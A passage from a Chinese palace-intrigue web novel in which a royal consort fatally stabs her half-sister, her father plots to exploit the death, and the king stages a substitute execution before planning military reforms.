从前在朵家,她是向阳的一面,朵氏是背阴的一面,她笑得越澄澈,活得越好,朵氏就过得越不好,那个时候,她对朵氏的降伏是这样体现的。 而今,索性撕下破脸,明目张胆起来。 可朵妲儿发现,刚才她说了那么些刺激朵氏的话,朵氏面上始终淡淡的,到最后居然笑起来。 “你笑什么?还有,你那话是什么意思?”朵妲儿问道。 朵氏抚上朵妲儿的脸,轻声呢喃:“小妹,因为你活不到那个时候……” 人的反应需要时间,然而在面对一个有预谋的人时,再迅速的反应都显得迟钝。 匕首刺入腹中的一刹那,朵妲儿没有感觉到过剧的疼痛,只是心跳加速,“砰砰——”的,她听到了心跳声,那声音如此欢动,像是毁灭前的最后一把狂欢。 “你说你虽没得到大妃之位,却也什么都没失去?怎么会什么都没失去呢?这不是把命给丢了,嗯?”朵氏笑起来,将匕首抽出,温热的血液汩汩流出。 不待朵妲儿呼救,带着血温的匕首再次狠狠捅了进去。 朵妲儿瞪着眼,不可置信地低下头,那是她的血?怎么流了那么多?她要死在这里?不!那不是她的血,不是她的血…… 她将朵氏推开,捂着猩红的腹部往外跑,才跑没两步就撞在一人身上,抬头去看,是朵氏身边的女官,那个叫莱拉的。 “救我,叫人来,快去……叫人来……你以后跟着我……不亏待你……”这会儿朵妲儿已经疼得呼吸不了,面色发灰,一脸的死气。 她原以为抓住了一根救命稻草,才发现,那名叫莱拉的女官死死攫住她,冷着脸,眼底没有一丝情绪。 朵妲儿扭过头,涕泗横流,求告道:“阿姐,不要杀我,妲儿知道错了……” 朵氏上前,从后一把揪住朵妲儿的头发,往后一拽,把她的脖子拉得更长,仰成一个奇异的弧度,在她耳边哑声道:“让你多活了二十来年,朵妲儿啊,你赚啦!怎么还这样贪心?!阿姐送你上路……” 说罢,半点不迟疑地又是一刀从她的腰脊捅入。 一声哑嗄的叫声荡在东殿。 宫婢撞见眼前的一幕。 那位朵家的贵女趴在血泊中,侧着头,贴于地面的半张脸沾着腥稠的血液,两眼睁着,像脱水的鱼,嘴巴无意识地一开一阖。 再然后,沿着血泊看到一双脚,一半在血泊中,一半在血泊外,渐渐的,那浓稠的血一点点往外滋蔓,那双脚完全淹在黑红的血泊里。 她抬目往上看,女人的脸上、身上是大大小小的血斑子,而这可怖的女人不是别人,正是东殿大妃。 “杀……杀人啦!杀人啦——”宫婢的声音已变了调。 朵氏无所谓地把手里的匕首往地上一甩,说道:“莱拉,扶我坐下。” 莱拉躬身上前,伸出双手,搀扶着朵氏,一步一步走到旁边的椅凳上,坐下,然后从怀里掏出方巾,替她拭干净手上的血,再为朵氏重新沏了一碗茶。 如果只看这一幕,就是再平常不过的主仆日常,可在她们不远处趴着一具温热的尸体,或许那“尸体”还未完全死透。 朵氏接过茶盏,那双手一点不见颤抖,她轻呷了一口,说道:“不必怕,没什么可怕的,我朵氏什么没见过。” 不知这话是对她自己说,还是对身侧的女官说。 …… 江念简直不敢相信自己的耳朵,腾地站起,看着地上跪着的宫婢,问道:“你再说一遍?!” “东……东殿大妃杀人啦!杀了朵家那位贵女,到处都是血。” 江念的侧脸瞬间起了细小的疙瘩,又以极快的速度压下心头的惊惶,对一边的木雅吩咐道:“去前廷通知大王。” 兰卓因上了年纪,告老还乡,现下木雅接替了兰卓的事务,统管西殿事务,纵始她行事老成,这会儿也呆着没有反应。 “木管事!”江念叫了一声。 “是!”木雅连忙应道,几乎小跑着往前廷去了。 江念一刻不再耽搁,叫上秋月、达娃等几个西殿大宫婢,带着十几个宫奴火速去了东殿。 朵妲儿死了?大朵杀了小朵?江念现在脑子乱得很,但有一点她很清楚,朵氏这会儿千万不能出事。 如果朵家两个女儿都死在了王庭,这事可就说不清了,但只要朵氏活着,那就是朵家内部之事,同王庭扯不上干系。 江念带人到了东殿,才走到殿首,就闻到一股浓腥味。 殿内暗着,她从明亮的光线下走了进去,一眼就定在血泊中的朵妲儿,她离得远,只看见朵妲儿的后脑,那头油亮浓密的褐色卷发湿黏在血中。 离血泊不远处,朵氏正坐着悠闲地喝着茶。 “来啦?” 江念往前走了几步,一边的秋月拉住她,摇了摇头,不让她再往里走。 江念摆了摆手,示意无事,走入殿内,坐到了朵氏对面。 “朵梵儿,你知道自己在做什么?” 朵氏看了一眼江念,笑道:“怎么,她死了,你不高兴?别在我跟前装。” “你不用拉扯上我,她怎么样都影响不到我。”江念说道。 朵氏收起笑,说道:“是啊——她不是你的对手,所以你一点也不慌,可是我不行啊,我就想她死,但我得忍着,得忍着,忍到她在你手上吃大亏,忍到她在我面前得意时,再一刀结果她,那样才痛快,是不是?” 朵氏深吸了一口气,抬眼看向对面的江念:“杀了她让我很开心,可你知道么,比起这个,还有一样事情让我更开心,你猜是什么?” 江念看着她,并不答话,不过朵氏也不需要她回答,自顾自地说着。 “你说……让我父亲知道,他的一个女儿杀了另一个女儿,精心培养的宝贝死在了一个废物手里,他知道后会是什么表情?”朵氏低低笑出了声。 笑过后,眼睛又落到血泊中的尸体上:“所以说,你不用这么紧张地看住我,我不会想不开,好不容易活到现在,我舍不得死哩!” 江念看着对面的朵氏,看着她那双如烟似雾的眼,无疑,朵氏是美的,在她看来,朵梵儿比朵妲儿更美,但美得很空洞,没有灵气。 她第一次见朵氏之时,心道,这女人的眼睛很特别,眸光似雾一样缥缈着,落在身上没有重量。 可是这会儿,雾散了,她看清了她眼底滔天的波澜,难填的恨意。 江念将眼睛往下压了压,看向地面趴伏的朵妲儿,不用近前探看了,人已死。 朵妲儿的脸侧向她这边,没有一丝生气的脸,灰败着,两眼不甘心地瞪视着,嘴巴微张,她终于摆脱了一直以来的假面,这会儿算是最真实的她了。 那样自负自傲的朵妲儿,肯定料不到最后落得这样的下场,她有美貌,也有小聪明,善于伪装,攻人心计,进入王庭后机关算尽,退一万步说,就算没有当成大妃,出了王庭,她也会过得很好。 虽然江念也不甘心,可朵妲儿的家底摆在那里,只要朵家一日不倒,她就能依傍家族和夫家光鲜地活着。 这样的朵妲儿,理性、清醒、有野心,在她父亲朵尔罕的耳濡目染下,阴谋阳谋信手拈来,就算对手输在她的手下,也只能自认不如。 这是世间约定俗成的规矩。 可她倒霉,偏偏遇上了朵氏,一个不按套路出牌的疯子,你还想着怎样赢牌呢,对方直接掀桌子,不玩了。 正想着,呼延吉率亲卫走了进来。 朵氏侧过头,看了一眼呼延吉,脸上再没有任何表情,只是坐着发怔。 江念起身走到呼延吉身边,正待开口,呼延吉却道:“事情我已经知晓,你先回西殿。” 既然他来了,她便不再多待,领着秋月等人离开了。 呼延吉眼睛往地面瞥了一眼,毫不费力地一招手:“清理了。” 亲卫们立时上前,将朵妲儿的尸体裹了出去,宫人们又拿布蘸干地上的血,再用清水冲洗,一番工夫下来,地面清洁得没有一点痕迹,可空中仍萦绕着淡淡的腥气。 “都下去。”呼延吉说道。 宫人们应下,退出殿外,此时殿中只有三人,呼延吉,朵氏,还有朵氏的贴身女官,莱拉。 呼延吉坐到刚才江念坐过的位置,两只胳膊随意地搭在椅扶上,开口道:“有什么要说的?” 朵氏张了张嘴,终是没问出口。 “你想问他?”呼延吉把朵氏看得透透的。 朵氏心里一紧,又是一疼:“是,他人在哪里?” 呼延吉冷声道:“都这会儿了你还有心惦记别的,他在哪里,你知道又能如何,你以为自己还能活?就算我放你一条生路,你父亲也不会放过你,从你杀朵妲儿的那刻起,就应该知道。” 朵氏缓缓站起身,说道:“我的贴身女官,她不知情,同她没关系,放她一条生路。” 莱拉听罢,“扑通——”一声跪下:“婢子从小侍候大妃,是生是死都要随在大妃身边。” 朵氏闭了闭眼,不再说话。 呼延吉起身,朝外吩咐道:“来人,带下去,看管起来。” …… 朵府…… 朵尔罕正在书房闭目养神,面上是静的,心中却千回百转,他原想借东境之危,逼呼延吉立他朵家女为大妃,不想到头来白谋划一场,落了空。 既然如此,妲儿已无立妃之望,只能让她同其他上姓缔结姻盟,罗家不知有无适龄的小子,他家罗疏年纪合适,不过房中已有妻室,娶得是云川肖氏女,这倒也没什么,以妲儿的手段,很快就能立住脚。 只是……罗家近年平平,除了一个罗疏,其他子弟皆不济。 弥城高家,圣太后母族,倒是不错,他家长子,高逊,本也能考虑,就是被打残了。 阿史家倒是不错,家中几个子弟一表人才,风头很盛,尤其长子阿史勒,行事稳妥又不乏男儿家的决断。 正想着,房门被敲响。 “父亲,王庭来人了。” 朵尔罕缓缓睁开眼,眼皮下是一双精于算计的浑浊眼珠。 他起身,理了理衣衫,意态有些疲惫,走到房门前,打开,看了一眼门下立着的儿子,说道:“人在前厅?” 朵阿赤愣了半晌没开口。 “问你话,怎么吞吞吐吐的?!” 第168章 讨要说法 朵阿赤走了进来,报说王庭来了人。 朵尔罕理了理衣襟和衣袖,随口问了句:“人在前厅?”问完却发现儿子的神色不大对劲:“问你话,王庭的人呢,在前厅?” 朵阿赤抬起头,看向他父亲,开口道:“王庭的人已离开,请父亲即刻奉召入宫,面见大王。” “谁来的?大宫监?” “是。” “什么话也没留,就走了?”朵尔罕又问。 朵阿赤顿了一会儿,说道:“留了一句话。” “你今日怎么回事,还不说来!” “他说让父亲筹备棺椁,整肃仪容,入王庭收敛遗体。”朵阿赤声音不大,却能听得很清楚。 朵尔罕认为自己真的是老了,出现了幻听,每个字他都听得清楚,却听不明白。 “敛尸?敛谁的尸?” 朵阿赤嗓子发紧,好难才把话说出来:“妲儿,妲儿的尸身。” 朵尔罕先是怔了怔,接着一连往后跌了两步,幸得朵阿赤抢步上前搀扶住他,扶到交椅边坐下。 朵阿赤低下眼,看他父亲,见他胳膊肘在椅扶上,手撑着额,半边脸埋在掌间。 “还说了什么?” “没有多说,只让父亲先入王庭觐见。”丹增并未多说什么,他也问不出来。 朵尔罕从掌间抬起脸,冷声道:“我朵家女儿好好的一个人儿,进了王庭,就死了?!”说罢,想了一想,站起身,看向对面的朵阿赤,“妲儿定是被梁女害了,我们可借此向呼延吉讨要说法,惩治梁女。” 朵阿赤脑中突然浮现江念言语常笑的样子,有些不信那样一个人会要人性命。 朵尔罕仍絮絮说着:“机会难得,正好以此为契机将那女人除掉。” 他不仅要联合夷越的上姓,还要将消息散布于市井,把事情闹大,呼延吉就算再宠那女人,也不得不拿她平息民愤。 “父亲!妲儿死了!”朵阿赤说道。 朵尔罕除了在刚听到女儿死时,面上有一丝惊愕和猝不及防,再没有过大的表情。 朵阿赤试图从他的脸上找出哀戚,可他的面容像被蜡皮封存了一般。 不过几息,妲儿尸骨未寒,父亲就开始以妲儿的死另做文章,一股子寒意从朵阿赤脚底升起,直窜天灵盖,外面天还晴着,他却止不住地发冷。 朵尔罕叹息一声:“妲儿的死,为父不难受?可她人已死,不是哭两声就能把人哭活的,不如借她的死给朵家带一点益处,妲儿活着的时候最懂为父的心,是你们这些孩子里最省心的,死也要死的有价值,想来她九泉之下也是欣然。” 有价值?怎么才算有价值?成为你手中的刀刃才算有价值?当然,这只是朵阿赤内心的想法,他没敢诉出于口。 “行了,你就在家中。”朵尔罕叫丫鬟进来伺候更衣,想起一事,叫住正待离开的儿子,“我问你,上次大王宣召你入王庭,可是说了什么?” 朵阿赤愣了一瞬,摇头道:“没说什么要紧要,大王只是问了些东境之事,我也答不上什么,说了没几句,王就叫我退下。” 朵尔罕“嗯”了一声:“去罢。” “是。” …… 朵尔罕乘着自家马车,行到王庭前。 车夫的声音响起:“老爷,快到王庭大门了。” 朵尔罕端端坐着,说道:“不必停下,直入王庭丹墀。” 车夫应是。 走了一会儿,马车突然一顿,车外再次响起马夫的声音:“老爷,车被拦下了。” 朵尔罕掀起壁上的锦帘,往外看了一眼,立于车外的正是阿多图,同上次的恭敬态完全两样。 “朝臣车驾不得擅入宫禁,烦劳朵大人移步下车,徐行入殿。”阿多图扬了扬下巴,说道。 朵尔罕盯着阿多图看了看,沉声道:“自当如是。”手将车帘狠狠一甩,在仆从的搀扶中下了马车,一甩袖,从阿多图身边经过,步入王庭。 朵尔罕走到丹墀下,无人迎他,不得不独自上阶,走到议政殿前。 丹增候于殿门前,见了朵尔罕,上前两步,说道:“朵大人移步入殿,大王已候多时。” 朵尔罕一脸悲戚道:“容老臣整肃冠带,纵使悲恸也不能在大王面前失仪。” 丹增敛目不语。 朵尔罕拿袖拭了拭眼下不存在的泪珠,理了衣襟,这才进到殿中。 才一入殿,趋步到殿中,恨不能顿首泣血:“求大王替妲儿做主,她虽不如梁妃身份高贵,可到底是我夷越子民,老臣最为宠爱这个女儿,她也最得我心,不求大王额外抚恤,只盼得个公正了断。” 说罢,以抽拭泪。 “朵大人节哀,先起身,谁也没料到发生这样的事情,有关事情头尾,本王道与你听。”呼延吉说道。 朵尔罕并不起身,取下冠帽,放于身侧,说道:“伏乞大王秉公持正,明正典刑,若因宠梁妃而枉法徇私,只怕夷越上下心寒齿冷。” 说罢再次顿首。 上首安静了片刻,冷冷的声音压下来:“朵大人从何处得知,朵妲儿的死同梁妃有关,又或者说……你怎的认为是梁妃杀了你女儿?” 朵尔罕来之前料到呼延吉会偏护梁女,已有准备,大呼道:“君王乃天下之主,为天下之父,不可因情徇私啊——” 这悲恸的话音还荡在空中,呼延吉平平道:“是朵梵儿。” 朵尔罕猛地抬头,仪态尽失:“什么?!” 呼延吉见朵尔罕脸上面具的裂缝越来越大,几乎碎裂,把声音放缓,以便让他听得更清楚。 “朵妲儿是被朵梵儿杀的。” 朵尔罕兀自摇着头,嘴里连说“不可能,不可能……” 呼延吉料准他这个反应,继续道:“朵大人若是不信,可亲身去问一问,看她怎么说。”说着,走到朵尔罕身前,又道,“朵氏是什么样的人,作为她的父亲,没人比你更清楚。” 朵尔罕收起脸上似真似假的泣色,刚才外放的情绪,一瞬间荡然无存。 “老臣要见一见她。” …… 关押朵氏的地方并非暗牢,而是一个偏殿,有贴身女官伺候,除了不能出殿以外,同平时没什么两样。 莱拉看着窗下修剪花枝的大妃,身着素衣,一头浓厚的卷发用莹白的珠簪随意绾着,嘴角带着笑,眉眼柔和,轻轻哼着小调,把修剪好的花枝重新放入细颈瓶中。 自大妃儿时,她就伴在身边,在朵府的时候,大妃没有多少欢喜,她见过她的纯真美好,是那样稀罕的模样啊! 还记得第一日到大妃身边伺候,那个时候的大妃尝不出食味,于是叫她一道上桌用饭,陪着一起吃。 “莱拉,这个菜是什么味道?” “朵姑,这个菜是咸的。” “咸是什么样子的?”几岁的朵氏坐在轮车上,认真地问道。 “婢子听人说,在好远的地方有一片很大很大的湖,湖水是蓝色的,那里的湖水就是咸的。” 女孩儿“哦”了一声,咸是一片很大很大的蓝色湖泊。 “莱拉,你再尝尝这个。” 莱拉将菜放入嘴里,品了品,说道:“这道菜是甜的。” “甜是什么样的?”小小的朵氏又问。 莱拉将嘴里的菜咽下,说道:“那街上画的糖人儿就是甜的,小儿们可喜欢吃,拖着鼻涕闹着要父母买。” 女孩儿又懂了,甜就是拖着鼻涕的小儿手中的糖画儿。 “你再尝尝这个,看看好不好吃?” 莱拉夹了一筷子,不知吃到什么佐料,呸呸两声,皱眉道:“是苦的。” 这次不等朵氏发问,莱拉说道:“苦是朵姑喝的药……” 她伴着大妃慢慢长大,那座红色的府邸把她变得人不人鬼不鬼。 阖府上下只看见妲姑的笑脸,却听不见朵姑的哭泣。 在大妃小小的身体里,明明有那么大的恨意,却不得不与仇人居于一个屋檐下,看她笑,看她比自己过得好,而自己的苦难却成了别人口里的笑谈。 纵使大妃心狠,手上有过人命,却从来没想过伤害妲姑,只因老大人在族中灌输家族一体。 莱拉从来没见过这样的大妃。 嘴角噙着笑,神情温雅,妲姑死了,还是被大妃亲手了结,好像她身上那副生了锈斑的沉重镣铐终于得以拆解。 正想着,门外有脚步声响过来,殿门打开,一人走了进来。 朵尔罕一眼就看见坐于窗下的朵氏,隔着一段距离,立住脚,语调里评不出悲喜:“是你干的?你杀的你妹妹?” 朵氏仍是修剪手里的花枝,随口“嗯”了一声。 接着就听到比刚才更生硬的话语道出:“早知你是个孽种,我就该……” 朵尔罕一语未毕,朵氏轻笑出声,说道:“父亲,别说的你好像对我有多大的恩情,我能活下来全凭我自己想活。” 朵氏亲手了结朵妲儿后,很想看一看她父亲知道此事后的表情,震惊?痛恨?悲伤? “父亲,以前都是您问我问题,今日女儿也问你一个问题罢……” 第169章 献祭 以前父女俩人叙话,身为女儿的朵氏站,身为父亲的朵尔罕坐。 今次,朵氏闲闲坐着,信手剪花,语调散漫,朵尔罕却立在一段距离之外,防备着。 “你还有脸开口问我问题?”朵尔罕仍是那副万年不变的腔音。 朵氏微笑道,丝毫不恼,半点不怯地说道:“女儿自然有脸问,就看父亲有没有脸答了。” “放肆!”朵尔罕吁出一口气,努力平下语调,开口道,“你要问什么?” “父亲才从前廷过来罢,来这里之前,可有去看过妲儿的尸身?”朵氏放下手里的花枝,抬眼看向对面。 朵尔罕没料到她会问这个问题:“你都把人杀了,还关心这个?” “倒不是关心这个,只是想知道而已,不过就算您不说,女儿也知晓答案了,还没看罢,您也不打算验看。”朵氏悠叹了一声,“对您来说躺在那里的不是女儿,只是一具尸体,再没有利用价值,若朵妲儿的尸身还有残余价值可供榨取,您定会到她的尸身前哭一哭,女儿说的可对?” 朵氏说完,并不指望她父亲答话,继续道:“可怜呐——朵妲儿生前一直以父亲对她的看重和认可而自傲得意,她若在天有灵,知道自己死后,您连她最后一面都懒得看,不知会不会后悔听命于您,她这一辈子都活在您的影子下,不过呢,我替她结束了这一切,也是善事一件。” 朵尔罕立在那里一语不发,等朵氏说完,沉声道:“说完了?” 朵氏不再言语,拿起手边的花枝,一点点修剪起来。 朵尔罕不再多待,扬袖离开。 莱拉急走到朵氏身边,说道:“大妃怎么不求一求老大人,让他在大王面前言语两句,说说情,毕竟您也是他的女儿,不会不管的。” “你错了,想要我命的人并非大王,正是我的这位父亲。”朵氏说道。 “是因为您对妲姑下手?”照莱拉对老大人脾性的了解,他已失去一个女儿,之后他会将折损降到最低。 当年妲姑之母对夫人投毒后,不仅没受到任何责罚,反而没事人一般安享了这么多年的惬意,妲姑出生后,照样得老大人的喜爱。 莱拉心想着,大妃这是报仇,难道比当年差点害得一尸两命还恶毒?只要大妃求一求,老大人不会真要大妃的命。 朵氏却道:“朵妲儿死在我手上,当时不少宫人看见,此事瞒不了,传出去后,日后谁家还敢娶朵氏女?父亲定会让大王判我死罪,对外,我的死是交代,对内,我的死是献祭,只有我死了,朵家其他的女儿才有出路。” …… 次日,江念午睡后叫秋月进来伺候起身。 “主子,大王回了,在殿外。”秋月一边替江念系衣带,一边说道。 “才回的?” 因从东境回来不久,堆积的公务冗沉,呼延吉最近常常忙到半夜才回。 东境只是个起始,这次虽收拢了达鲁,可朵家不止达鲁一员大将,若不断其爪牙,绝其根本,犹恐星火复燃。 为着这事,呼延吉将考举一事暂置一边,打算先收拢兵权,可要如何统一兵权,这又是一个难题。 这一头还没料理好,那一头朵妲儿又死了。 江念有些奇怪,他今日怎么回殿这么早。 “回了好一会儿,也就您午歇下没多久王就回了。”秋月说道。 “怎么不叫我。” “大王说不让吵您。” 江念点了点头,穿戴好后出了寝屋,就见呼延吉坐在外殿的檀木案边,一条胳膊肘在案上,手虚握着,撑着额,案上垒着一摞册子,还有几本散乱在手边。 从她这里看去,男人阖着双眼,显然眯着了。 江念轻着手脚走过去,敛衣坐下,往案上瞟了一眼,正分神看时,觉察到异样,转眼一看,发现呼延吉正看着她。 “吵醒你了?”江念问道。 呼延吉坐直身体,说道:“本也没睡着。” 午后最燥热,殿外的蝉声一阵高过一阵,阳光明晃晃的有些刺眼,殿中置了冰匣,稍稍凉爽一些。 江念倒了一杯冰花茶,递到他的手里,又拿出他送的羽扇,打开,殷勤地给他扇了几下,结果这一殷勤,反把她自己热出汗来,后面就光顾着给自己扇风。 “大王准备如何处置朵氏?” 呼延吉喝了一口花茶,说道:“一开始并不难处置,她对朵妲儿下了杀手,自己就料到了结局,朵尔罕来过后,央浼依典刑严惩,那意思就是要朵氏死。” 江念想了想,朵尔罕作为朵氏的生父,连他都不愿保朵氏,呼延吉又不是个心软仁慈之人,按理说,这事不难办,可呼延吉话里的意思像是难以裁决。 除非有人要保下朵氏…… 继而就听呼延吉说道:“此次梁军东犯,朵阿赤有功,本是准备赏赐他,他没要,如今求到我跟前,想以军功换他妹妹一命。” 江念怔了怔,问道:“他俩是亲兄妹?” “同父异母,他、朵梵儿、朵妲儿,三个肚子出来的。”呼延吉看向江念,问道,“阿姐以为该当如何?” “大王因为应下朵阿赤的请求,他这会儿又求到你跟前,而朵尔罕又一定要朵氏死,所以大王迟疑不决?” 呼延吉看向江念,问道:“不错。” 江念抿唇想了一会儿,说道:“其实妾并不喜朵氏,之前差点折在她手里,她这个人又不好把控,有些疯性儿……” “阿姐的意思是处死?” 江念嗳叹了一声:“要妾身说呢,不能只看眼下,论私心,处死朵氏,妾身更快意,报了私仇,可就长远来看,不如卖朵阿赤一个人情,作为朵尔罕的长子,朵家以后多半由他接管,而且……” 江念拉长腔调,眼珠从眼眶下划过,呼延吉一看,笑问道:“而且什么?” “朵尔罕那老贼忒恨人,尽在背后耍诡计,大王懂妾身的意思罢?不能让他最后落到好。” “懂——”呼延吉拉长的腔音打了个弯,又道,“阿姐的意思我怎会不懂,你说的不错,不如卖朵阿赤一个面子,不过呢,朵氏杀人是事实,朵尔罕倒在其次,主要对外需有交代,所以朵氏必须‘死’。” “找个死囚替身?” 呼延吉“嗯”了一声。 “叫朵尔罕辨认出来怎么办?” 呼延吉嗤笑一声:“他会关心这个?那日来王庭他连朵妲儿的尸身看也未看一眼,这些小计较,他不在意,只要对外朵氏死了就成。” …… 这一日,京都街市同往常一样热闹。 街边烤香饼的老妇人用沾过油的手,将调和好的面团揉按开。 甜口的在上面撒上黑芝麻,咸口的是净面,薄薄的面皮拉扯出一个洞,露出里面的鲜肉馅。 老妇人香饼的生意很好,香饼还在炉里烤着,手上动作不停,摊子前已站了好些人,等着热乎酥香的饼出炉。 “你们听说没有。”其中一人说道。 “听说什么?”一年轻妇人问了一嘴。 “今儿街口要行刑哩!” “刑人于市,这不是常有的事么,震慑那些起歪心的歹人,以儆效尤。” “阿婆,你这还要多少时候嘛,咱们要赶去街市口。” 老妇人往炉里探看了一眼,用长箸将烤好的香饼一一取出,说道:“砍头有什么好看的,把你们急成这样。” “阿婆,这个你就不知道了,你道今日处决的是谁?” “谁呐?” “前越王之妻,就是东殿之主,朵家女哩!” “天爷!这等大事!” 一时间连旁边的摊贩都凑拢来,你一句我一句地争问着。 …… 夷越京都街市口围聚了不少人,每回处决死刑犯时,街市口少不了一群围观的百姓。 今日更甚。 这次处决的刑犯乃朵家贵女,不仅如此,还是前越王的大妃,何等尊贵之人,按说这般显赫身份就是论死,也是赐白绫一条或是鸩酒一杯,全其体面。 听人说这位大妃杀了另一位贵女,致使君王大怒,这才于街市口问斩。 只见街市口,里三层外三层,一个个踮脚探脖,往刑台上张望,其实那刑台上是空的,人还没押解来,可这景况空前绝后,比逢年过节还热闹。 正在这时,囚车缓缓行来,伴着狱吏的驱喝声。 “让道,让道……” 众人自觉让出道来,因着囚车的出现,人群奇异般地安静了一刹那,在这寂寂的一刹那后,又开始嘁嘁诉诉低语,然后渐渐嘈杂。 “你看,你看,那个就是东殿大妃。”其中一人道。 “啧——兄台你踩我脚作甚呐!”另一人抱怨。 先前那人连连道歉:“对不住,我的脚也正被人踩着呢。” 更多的议论声涌出。 “哎哟!看不清模样,这朵家贵女同咱们普通人没什么两样嘛。” “她怎么把头低着。” “瞧你说的,难不成人家还把头仰起来,特意给你亮一亮?” “要论咱们大王,真乃旷世明君!处事公正不偏私,我夷越得此贤主,实乃天眷,百姓得享太平。” 不知谁说的这话,周围的人纷纷认同点头。 众人往刑台看去,朵家贵女手上戴着镣铐,身形削瘦,蓬头垢面地跪于台上。 但听上首刑官唱喝了一声:“时辰已到,行刑!” 彪壮的刽子手举起手中的宽背大刀,刀起,刀落,任你身前何等高贵身份,脖子上捱一下,都得老老实实去阎王殿报道。 就在众人纷纷嗟叹时,一个身形清癯,右肩勾挂木箱,着灰布衣的男子悄然走出了人群…… 第170章 越发爱了 不知不觉,江念来夷越已有一年之久。 朵家两姐妹,朵妲儿以陪侍朵氏的名义进入王庭,结果人进来后,命没了,东殿空了下来,只有几个宫人留守,负责平日扫洒。 江念仍会每日去祥云殿问安,陪圣太后清坐一会儿。 晨风还未浸入躁意,有一点点水汽的重量,很舒爽。 江念陪圣太后下完一盘棋,亲自替她沏了一碗花茶,这母子二人口味相同,都喜花茶。 “大王近日公事可冗杂?”高氏问道。 “以往午后就回西殿,近段时日总要忙到天暗才回。”江念说道。 高氏呷了一口花茶,说道:“他虽年轻,这样熬耗身体也不行,你从旁多劝一劝。” 江念应“是”。 “你的话他总还听一些。”说到这里,高太后清了清嗓子,顿了顿,又道,“还有你告诉他,不能总闭于议政殿勤政,平时多在王庭转一转。” “太后说的是,妾身回去后劝解大王。” 江念心道,太后从前不亲小儿子,呼延吉每每来王庭问安,得不到高氏的好态度,后来更是直言免去他的问安,现在说这话,无非想让呼延吉有空来祥云殿坐一坐,却又碍于脸面,不愿直言。 特别是近些时,太后同她说话,无论说什么,总会拐到呼延吉的身上。 不过呼延吉近些时确实忙,并非托词,白日她见不到他的人,大多时候,待到天色微暗才回西殿,甚至有几次等到夜深,她困倦得不行,歪在榻上睡去,他才回。 待到次日一大早他起身,她才有所知觉,也不知前一夜几时回的。 她也不好总往前廷跑,有关夷越政务一事,除非他问她,否则她不会贸然议政。 偶有一次他在她面前提及,她才知晓最近他正忙于改革地方和边境的兵权制。 也是这次东境之危,让呼延吉意识到收拢兵权刻不容缓,为当下重中之重,至于其他方面的革进,皆排此事之后。 江念从祥云殿出来后径直回了西殿,闲闲懒懒地又过了一日。 “主子,膳房那边交代过,菜馔都热上了。”秋月说道。 江念坐于矮案前,手里拿着一本香谱翻看,“嗯”了一声:“去罢。” 秋月应声退下。 彼边,议政殿内灯火通明,殿中一张大木案边,坐着两人,案后坐着呼延吉,案侧坐着崔致远。 案上铺着折痕明显的舆图,案头堆垒了几本册子和翻开的书,殿中的窗户大开着,夜风一来,将书页一页一页翻过。 “王,您刚才说再设两个司部?”崔致远问道。 呼延吉点头道:“不错,一个督军司,一个兵部司,督军司负责军中日常训练,掌管兵籍,兵部司握调兵权,如此一来,统兵权和调兵权分离,形成制衡,致远觉着如何?” 崔致远连声道:“大王果然英明,统兵权和调兵权分离,便可弱化军事集权,只是……” “只是什么,说来。” “大王手握的军兵自是不必担心,也好安排,可朵家不止一个达鲁,他们仍掌着边境部分军权。” 呼延吉执起案上的茶壶,亲自给崔致远续了一杯茶,唬得崔致远站起不迭。 “你坐。”呼延吉说着又给自己续了一杯。 崔致远这才坐下,双手捧起茶盏,如喝琼浆玉液一般,慢慢品味。 “你说的这个正是我心中所虑,不过已有解决之法。”呼延吉叩了叩桌案,说道,“那些军中大将,常年驻守一方营帐,在军中的话语权比我这个王的话还权威,这些人,若只衷于王权倒还罢了,偏偏有几个愣头效于朵家麾下,当然了,不排除朵家刻意在军中培植势力。” 崔致远点头道:“大王说的是,此次梁军东犯,我军本可轻而易举将其退败,若不是朵家从中作梗,也不会……” “这就不必再提了,所以我打算‘换将’” “换将?” “不错,统将不随军调动,或是军兵不随统将调动,彻底切断将领与士兵的纽带。”呼延吉说道。 崔致远两眼生亮,大呼一声:“真乃妙策!兵无常帅,帅无常师,这样一来,便能杜绝军将割据一方,不受中央王权管制的情况。”说着又想起一事,“可微臣担心效于朵家的那几个难调动。” 呼延吉冷声道:“那可由不得他们,他们敢违令,我有的是办法。” 崔致远瞬间明白,大势之下,立军功不容易,要找一个人的错处却轻而易举,那些大将身上,谁没点黑料。 呼延吉看了眼天色,黑魆魆一片,说道:“这个时候王庭大门也禁了,今夜你就在偏殿值房宿一晚,明儿出王庭。” 说罢,呼延吉起身。 崔致远忙起身应诺,躬身于呼延吉身侧,走了两步,呼延吉想起一事,顿住脚,问道:“你应下邀东境军将们来京都赏玩,这事你得上点心,不可随口一说。” “回大王,已经安排了,这两日人就到。” 呼延吉点头,阔步离去。 “崔大人,老奴引你去值房。”丹增从旁说道。 这位崔大人如今是王跟前的红人,从书生摇身一变成为京都新贵,现任参知学士一职,负责起草诏书、参与机要,直接受管于大王,常被召入殿中商议政事。 大王另给他在都中赐有府邸。 “有劳大宫监。”崔致远客气道。 “大人哪里的话,您辅佐大王才是辛苦,崔学士之勤恪,方显庙堂之光。”丹增说着,引崔致远去了偏殿的值房。 呼延吉回了西殿,江念让膳房备上饭菜。 “这几日回来得晚,你就别等了,自去歇息就好。”呼延吉坐下,执起碗筷,扒了一口饭。 江念眼睛往桌上看去,一盘厚切的牛脯肉片,一盘鲜蔬,另有一盘生兔肉片,旁边置了小炉锅,锅里盛了清汤汁,专门用来涮肉片,还有一碟子桂花乳酪。 呼延吉几筷子下去,那一盘牛脯已不剩几片,他吃饭的速度很快,不似那些高门子弟斯文作态,细嚼慢咽,咀嚼中时,腮骨凸起,又扒拉几下,一大碗饭就见了底。 之前她还想着夜间饭食不能弄得太荤腥,让膳房做一些高汤面或米粥之类的。 结果就是深更半夜呼延吉饿醒,起身叫宫婢们传膳,再吃一顿。 “倒也不算太晚,就是不等你,这个时候我也睡不着。”江念说道。 呼延吉用罢饭,用香茶漱过口,说道:“既然这会儿你不困,那便等等我,我去盥沐,等我回来,有话同你说。” 江念“嗯”着应下。 待呼延吉从沐室出来,进到寝屋,矮案上的菜馔已收拾干净,抬眼一看,水青色的床帐隐隐透出倩影儿,于是走到榻边,掀起床帐,踢鞋,上到榻上。 “你刚才说有话说?”江念问道。 呼延吉便把如何分立两司部,如何收归军权的想法说了。 “阿姐觉着怎么样?” 江念想了想,把他的意思整合:“限制将领任期,定期轮换,避免长期掌权,以致军权私有,另外再分散军队驻地,避免过于集中,再一个,设两司部,一个掌兵籍,一个拥有调兵权,相互掣肘,大王说的可是这个意思?” 